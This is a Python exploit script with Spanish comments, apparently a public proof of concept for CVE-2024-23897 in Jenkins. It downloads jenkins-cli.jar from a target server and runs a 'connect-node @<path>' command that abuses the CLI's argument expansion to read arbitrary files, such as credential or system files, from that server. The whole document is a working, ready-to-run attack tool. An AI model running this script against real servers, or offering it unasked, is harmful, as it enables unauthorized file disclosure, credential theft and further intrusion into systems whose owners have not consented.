import argparse import requests import os import subprocess import sys def banner(): """ Imprime un banner decorativo para la herramienta. """ text = """ ______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _ / ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___ | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __| | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__| \____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/ """ print(text) def descargar_jar(ip, puerto): """ Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado. Args: ip (str): Dirección IP del servidor Jenkins. puerto (str): Puerto del servidor Jenkins. Returns: bool: True si la descarga fue exitosa, False en caso contrario. """ url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar" try: response = requests.get(url) if response.status_code == 200: with open('jenkins-cli.jar', 'wb') as archivo_jar: archivo_jar.write(response.content) return True else: print(f"\n[-] No se pudo descargar el archivo. Código de estado: {response.status_code}") return False except requests.RequestException as errorhttp: print(f"\n[-] Error al realizar la solicitud: {errorhttp}") return False def attack_payload(ip, puerto, ruta): """ Ejecuta el payload para conectar un nodo Jenkins. Args: ip (str): Dirección IP del servidor Jenkins. puerto (str): Puerto del servidor Jenkins. ruta (str): Ruta para leer el archivo. """ archivo_jar = "jenkins-cli.jar" payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}" try: subprocess.run(payload, shell=True, check=True) os.remove(archivo_jar) except subprocess.CalledProcessError as error_payload: print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n") def main(): """ Función principal que analiza los argumentos y ejecuta las funciones correspondientes. """ parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n") parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n") parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n") parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n") args = parser.parse_args() ip = args.ip puerto = args.puerto ruta = args.ruta banner() if descargar_jar(ip, puerto): attack_payload(ip, puerto, ruta) else: sys.exit(1) if __name__ == '__main__': main()